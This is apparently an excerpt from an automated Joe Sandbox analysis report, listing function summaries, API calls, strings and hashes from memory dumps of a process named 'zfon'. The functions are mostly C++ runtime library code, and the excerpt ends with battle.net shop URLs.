ios_base::badbit set, xrefs: 00007FF8B91247E5, 00007FF8B9124837

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionThrowstd::ios_base::failure::failure
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2003779279-1866435925
Opcode ID: 08befa980dfea9c0ef3bf137efc51fc0e2de0c9f28397007ab18f16809292510
Instruction ID: eb068f9b8adea2ecc317347446103d948f618bac2d3cb969a6e038803b15bfa3
Opcode Fuzzy Hash: 08befa980dfea9c0ef3bf137efc51fc0e2de0c9f28397007ab18f16809292510
Instruction Fuzzy Hash: F1715876A08A8695EB649F1DD4913BC3761FB80BC4F548136CB1E577A4EF2DE846D300

Function 00007FF8B91243D0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 167COMMON

Download Yara Rule

APIs

std::ios_base::failure::failure.LIBCPMT ref: 00007FF8B91245AE
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B91245BF
std::ios_base::failure::failure.LIBCPMT ref: 00007FF8B9124600
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B9124611

Strings

ios_base::eofbit set, xrefs: 00007FF8B9124589, 00007FF8B91245DB
ios_base::failbit set, xrefs: 00007FF8B9124582, 00007FF8B91245D4
ios_base::badbit set, xrefs: 00007FF8B9124577, 00007FF8B91245C9

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionThrowstd::ios_base::failure::failure
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2003779279-1866435925
Opcode ID: 7650bd997bf7dffc81ca24ad573e1d6ea6f87f8d0221c566a3e0038d77b00579
Instruction ID: cbb8a769a19f2f91afbaefd2d1082af35d0989d854f7d529d08aea0d9c4de274
Opcode Fuzzy Hash: 7650bd997bf7dffc81ca24ad573e1d6ea6f87f8d0221c566a3e0038d77b00579
Instruction Fuzzy Hash: 7B714672A08A8691EB149F1DD4903BC37A0EB84BC4F558136DB5E937E4EF2DE886D300

Function 00007FF8BFB5662A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BFB56B10: RtlPcToFileHeader.KERNEL32 ref: 00007FF8BFB56B60
Part of subcall function 00007FF8BFB56B10: RaiseException.KERNEL32 ref: 00007FF8BFB56BA1

RtlPcToFileHeader.KERNEL32 ref: 00007FF8BFB566C7
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00007FF8BFB56723

Strings

Attempted a typeid of nullptr pointer!, xrefs: 00007FF8BFB56805
Bad dynamic_cast!, xrefs: 00007FF8BFB56792
Bad read pointer - no RTTI data!, xrefs: 00007FF8BFB56828
Access violation - no RTTI data!, xrefs: 00007FF8BFB5662A, 00007FF8BFB5684B

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: FileHeader$ExceptionFindInstanceRaiseTargetType
String ID: Access violation - no RTTI data!$Attempted a typeid of nullptr pointer!$Bad dynamic_cast!$Bad read pointer - no RTTI data!
API String ID: 1852475696-928371585
Opcode ID: 4ef8ad2c729168d00ef0645f383a1968f42c4eb1f6a8b3717fe5ffb80b324514
Instruction ID: 3acb0bf8bf7f44c560cb9864c3f68461de8b158a7736af1c417171afaa931eb0
Opcode Fuzzy Hash: 4ef8ad2c729168d00ef0645f383a1968f42c4eb1f6a8b3717fe5ffb80b324514
Instruction Fuzzy Hash: E851A362B29A46A2EE20CB98E8A16B97362FF44BC4F40453ADB4D47755DF3CF505C700

Function 00007FF8B90F1DB0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 157COMMONLIBRARYCODE

Download Yara Rule

APIs

std::ios_base::failure::failure.LIBCPMT ref: 00007FF8B90F1E59
_CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF8B9171490,00007FF8B90F1F15), ref: 00007FF8B90F1E6A
std::ios_base::failure::failure.LIBCPMT ref: 00007FF8B90F1F7E
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90F1F8F

Strings

ios_base::eofbit set, xrefs: 00007FF8B90F1E34, 00007FF8B90F1F59
ios_base::failbit set, xrefs: 00007FF8B90F1E2D, 00007FF8B90F1F52
ios_base::badbit set, xrefs: 00007FF8B90F1E22, 00007FF8B90F1E80, 00007FF8B90F1F47

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionThrowstd::ios_base::failure::failure
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2003779279-1866435925
Opcode ID: 8de342f0291e80d733e627eaf939c61c9f2c4bc02dc7a8bd2179287c94fe2617
Instruction ID: 599bdaf7118dbf2e656d2dbcab2e3170590cb20c28047e9c78a5ba2a98ad8eee
Opcode Fuzzy Hash: 8de342f0291e80d733e627eaf939c61c9f2c4bc02dc7a8bd2179287c94fe2617
Instruction Fuzzy Hash: 53517E62A08A86D1EF549F1DD4903A86760EB84BD9F548235DB2E837E5DF3CE986C300

Function 00007FF8B91056D0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 128COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B90E74A0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74B8
Part of subcall function 00007FF8B90E74A0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C0
Part of subcall function 00007FF8B90E74A0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C9
Part of subcall function 00007FF8B90E74A0: __pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74E5

localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B9105723
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910575B
_Getvals.LIBCPMT ref: 00007FF8B9105794
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B910586E

Part of subcall function 00007FF8B9116410: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B9116419
Part of subcall function 00007FF8B9116410: _CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF8B912CAF9,?,?,00000000,00007FF8B90EC4D0), ref: 00007FF8B911642A

Strings

+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v +$v $++$ v+$ v$ v++$ v$+ v+xv$+ v$v$ +v+ $v$ ++x$v+ $v$v ++ $v$ +v, xrefs: 00007FF8B91057E3, 00007FF8B9105800
$+xv, xrefs: 00007FF8B9105848
$+xv, xrefs: 00007FF8B91057ED, 00007FF8B91057F6

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Concurrency::cancel_current_taskExceptionGetvalsThrow___lc_codepage_func___lc_locale_name_func___mb_cur_max_func__pctype_funccalloclocaleconvstd::bad_alloc::bad_alloc
String ID: $+xv$$+xv$+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v +$v $++$ v+$ v$ v++$ v$+ v+xv$+ v$v$ +v+ $v$ ++x$v+ $v$v ++ $v$ +v
API String ID: 801482897-3573081731
Opcode ID: 9c08d5fc2ba6d1f9c895b19a1ef2ef9da669aab50d1ee5f16d3dedc8da72be6f
Instruction ID: 2b81017a8ce04bc590bbebc2749971fe06f20d7fdc3f357101a72a2c35fdafed
Opcode Fuzzy Hash: 9c08d5fc2ba6d1f9c895b19a1ef2ef9da669aab50d1ee5f16d3dedc8da72be6f
Instruction Fuzzy Hash: 8051CE36A08BC186EB24CF2A949047D7BA4FB45BD0B544276CFA9437A5DF3EE485E700

Function 00007FF8B9105878 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 128COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B90E74A0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74B8
Part of subcall function 00007FF8B90E74A0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C0
Part of subcall function 00007FF8B90E74A0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C9
Part of subcall function 00007FF8B90E74A0: __pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74E5

localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B91058CB
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B9105903
_Getvals.LIBCPMT ref: 00007FF8B910593C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B9105A16

Part of subcall function 00007FF8B9116410: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B9116419
Part of subcall function 00007FF8B9116410: _CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF8B912CAF9,?,?,00000000,00007FF8B90EC4D0), ref: 00007FF8B911642A

Strings

+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v +$v $++$ v+$ v$ v++$ v$+ v+xv$+ v$v$ +v+ $v$ ++x$v+ $v$v ++ $v$ +v, xrefs: 00007FF8B910598B, 00007FF8B91059A8
$+xv, xrefs: 00007FF8B91059F0
$+xv, xrefs: 00007FF8B9105995, 00007FF8B910599E

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Concurrency::cancel_current_taskExceptionGetvalsThrow___lc_codepage_func___lc_locale_name_func___mb_cur_max_func__pctype_funccalloclocaleconvstd::bad_alloc::bad_alloc
String ID: $+xv$$+xv$+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v +$v $++$ v+$ v$ v++$ v$+ v+xv$+ v$v$ +v+ $v$ ++x$v+ $v$v ++ $v$ +v
API String ID: 801482897-3573081731
Opcode ID: 08f4393cbb9286a77c8465830587d0892ef895849c8ce4b697314d7c6ad679fd
Instruction ID: 03cda1569cfb5d8950127a11177700921ef50311ae1a07321e4468042d0cbfaf
Opcode Fuzzy Hash: 08f4393cbb9286a77c8465830587d0892ef895849c8ce4b697314d7c6ad679fd
Instruction Fuzzy Hash: AD51C132A08BC186E724CF29949056D7BB5FB45BE4B141275CFA9437A4DF3EE445E700

Function 00007FF8BFAD35E0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF8BFAD379F,?,?,00000000,00007FF8BFAD35D0,?,?,?,?,00007FF8BFAD334D), ref: 00007FF8BFAD3665
GetLastError.KERNEL32(?,?,?,00007FF8BFAD379F,?,?,00000000,00007FF8BFAD35D0,?,?,?,?,00007FF8BFAD334D), ref: 00007FF8BFAD3673
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8BFAD379F,?,?,00000000,00007FF8BFAD35D0,?,?,?,?,00007FF8BFAD334D), ref: 00007FF8BFAD368C
LoadLibraryExW.KERNEL32(?,?,?,00007FF8BFAD379F,?,?,00000000,00007FF8BFAD35D0,?,?,?,?,00007FF8BFAD334D), ref: 00007FF8BFAD369E
FreeLibrary.KERNEL32(?,?,?,00007FF8BFAD379F,?,?,00000000,00007FF8BFAD35D0,?,?,?,?,00007FF8BFAD334D), ref: 00007FF8BFAD370C
GetProcAddress.KERNEL32(?,?,?,00007FF8BFAD379F,?,?,00000000,00007FF8BFAD35D0,?,?,?,?,00007FF8BFAD334D), ref: 00007FF8BFAD3718

Strings

api-ms-, xrefs: 00007FF8BFAD3685

Memory Dump Source

Source File: 00000005.00000002.2549530455.00007FF8BFAD1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8BFAD0000, based on PE: true

Associated: 00000005.00000002.2549435771.00007FF8BFAD0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549570951.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549677238.00007FF8BFAD8000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549715751.00007FF8BFAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfad0000_zfon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProcwcsncmp
String ID: api-ms-
API String ID: 916704608-2084034818
Opcode ID: 8d2fd0d93c7eb14211fa12b3fc953288da202effed1889c61ef573fe6e8128a2
Instruction ID: 41eb83eb9a6851515688a13f28a1b8bcb92bb2044d5e4c08eaab129c77d63d7a
Opcode Fuzzy Hash: 8d2fd0d93c7eb14211fa12b3fc953288da202effed1889c61ef573fe6e8128a2
Instruction Fuzzy Hash: 6731E729B1AB4197FE39AB9AA80217A23A4BF44BE8F496534DF1D073C4DF3CE0558700

Function 00007FF8BFB56FE4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF8BFB571A3,?,?,00000000,00007FF8BFB56FD4,?,?,?,?,00007FF8BFB56D11), ref: 00007FF8BFB57069
GetLastError.KERNEL32(?,?,?,00007FF8BFB571A3,?,?,00000000,00007FF8BFB56FD4,?,?,?,?,00007FF8BFB56D11), ref: 00007FF8BFB57077
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8BFB571A3,?,?,00000000,00007FF8BFB56FD4,?,?,?,?,00007FF8BFB56D11), ref: 00007FF8BFB57090
LoadLibraryExW.KERNEL32(?,?,?,00007FF8BFB571A3,?,?,00000000,00007FF8BFB56FD4,?,?,?,?,00007FF8BFB56D11), ref: 00007FF8BFB570A2
FreeLibrary.KERNEL32(?,?,?,00007FF8BFB571A3,?,?,00000000,00007FF8BFB56FD4,?,?,?,?,00007FF8BFB56D11), ref: 00007FF8BFB57110
GetProcAddress.KERNEL32(?,?,?,00007FF8BFB571A3,?,?,00000000,00007FF8BFB56FD4,?,?,?,?,00007FF8BFB56D11), ref: 00007FF8BFB5711C

Strings

api-ms-, xrefs: 00007FF8BFB57089

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProcwcsncmp
String ID: api-ms-
API String ID: 916704608-2084034818
Opcode ID: 76e9ed00015fa7378e2762435fe1c6674923b12dca3248f544122840abba5d3b
Instruction ID: bf360aa0ad272c1e23d9479e674a4266aa366a460bdbea350a4e4091103d3c8f
Opcode Fuzzy Hash: 76e9ed00015fa7378e2762435fe1c6674923b12dca3248f544122840abba5d3b
Instruction Fuzzy Hash: 82316122B1A746A1EE119B8A982497573D4BF44BE0F6D4535DF1D87354EF3CF5488300

Function 00007FF8B90EEEB0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 74COMMON

Download Yara Rule

APIs

std::ios_base::_Init.LIBCPMT ref: 00007FF8B90EEEC8

Part of subcall function 00007FF8B90ED0A0: std::locale::_Init.LIBCPMT ref: 00007FF8B90ED0FE

std::ios_base::_Addstd.LIBCPMT ref: 00007FF8B90EEF05
std::ios_base::failure::failure.LIBCPMT ref: 00007FF8B90EEF57
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90EEF68

Strings

ios_base::eofbit set, xrefs: 00007FF8B90EEF32
ios_base::failbit set, xrefs: 00007FF8B90EEF2B
ios_base::badbit set, xrefs: 00007FF8B90EEF1F

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Initstd::ios_base::_$AddstdExceptionThrowstd::ios_base::failure::failurestd::locale::_
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 792165947-1866435925
Opcode ID: 5a961f8f7a396de3a89a0a91937ff84da1abf775fff624eb7f976a44ec027974
Instruction ID: 88763665f41e69cc2083e789d53815700020881681ab896e0bd8e6b09b439e4e
Opcode Fuzzy Hash: 5a961f8f7a396de3a89a0a91937ff84da1abf775fff624eb7f976a44ec027974
Instruction Fuzzy Hash: D0218F62A18ACA92EE149F2DE5513A967A0FB547C0F444031E75D47B96DF3CE5A2C700

Function 00007FF8B90FC3B0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B90E74A0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74B8
Part of subcall function 00007FF8B90E74A0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C0
Part of subcall function 00007FF8B90E74A0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C9
Part of subcall function 00007FF8B90E74A0: __pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74E5

_W_Getdays.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8B90FC3EE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90FC40B
_W_Getmonths.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8B90FC42B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90FC448

Part of subcall function 00007FF8B90EB710: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF8B90FC445), ref: 00007FF8B90EB739
Part of subcall function 00007FF8B90EB710: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF8B90FC445), ref: 00007FF8B90EB768
Part of subcall function 00007FF8B90EB710: memcpy.VCRUNTIME140(?,?,00000000,00007FF8B90FC445), ref: 00007FF8B90EB77F

Strings

:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:Dece, xrefs: 00007FF8B90FC453
:AM:am:PM:pm, xrefs: 00007FF8B90FC464
:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday, xrefs: 00007FF8B90FC416

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: free$GetdaysGetmonths___lc_codepage_func___lc_locale_name_func___mb_cur_max_func__pctype_funcmallocmemcpy
String ID: :AM:am:PM:pm$:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:Dece$:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
API String ID: 1539549574-3743323925
Opcode ID: 29a469ce97e9e63c9afcb1297cf3119d81ee8217b80f69d292bc9982e8b506e4
Instruction ID: 78c883a46133b3683f84ee6de1d9038153cb75860549176344bcac5842e62229
Opcode Fuzzy Hash: 29a469ce97e9e63c9afcb1297cf3119d81ee8217b80f69d292bc9982e8b506e4
Instruction Fuzzy Hash: BD212722A08B8282EB10DF29E45426973B0FB88BD4F444274DB8E43A66EF3CE585C740

Function 00007FF7F96ECE80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 295COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F96E2470: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7F96E22DB), ref: 00007FF7F96E24CB
Part of subcall function 00007FF7F96E2470: memcpy.VCRUNTIME140(?,?,?,00007FF7F96E22DB), ref: 00007FF7F96E24E2
Part of subcall function 00007FF7F96E2470: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7F96E22DB), ref: 00007FF7F96E24FA

memmove.VCRUNTIME140 ref: 00007FF7F96ED265
memmove.VCRUNTIME140 ref: 00007FF7F96ED2EA
memmove.VCRUNTIME140 ref: 00007FF7F96ED371
memmove.VCRUNTIME140 ref: 00007FF7F96ED3FB

Strings

https://www.battle.net/shop/simplecheckout/navbar, xrefs: 00007FF7F96ED2C0
https://www.battle.net/shop/simplecheckout/error, xrefs: 00007FF7F96ED3CE
https://www.battle.net/shop/simplecheckout/debug-harness, xrefs: 00007FF7F96ED344
https://www.battle.net/shop/simplecheckout/loading, xrefs: 00007FF7F96ED23B

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: memmove$freemallocmemcpy
String ID: https://www.battle.net/shop/simplecheckout/debug-harness$https://www.battle.net/shop/simplecheckout/error$https://www.battle.net/shop/simplecheckout/loading$https://www.battle.net/shop/simplecheckout/navbar
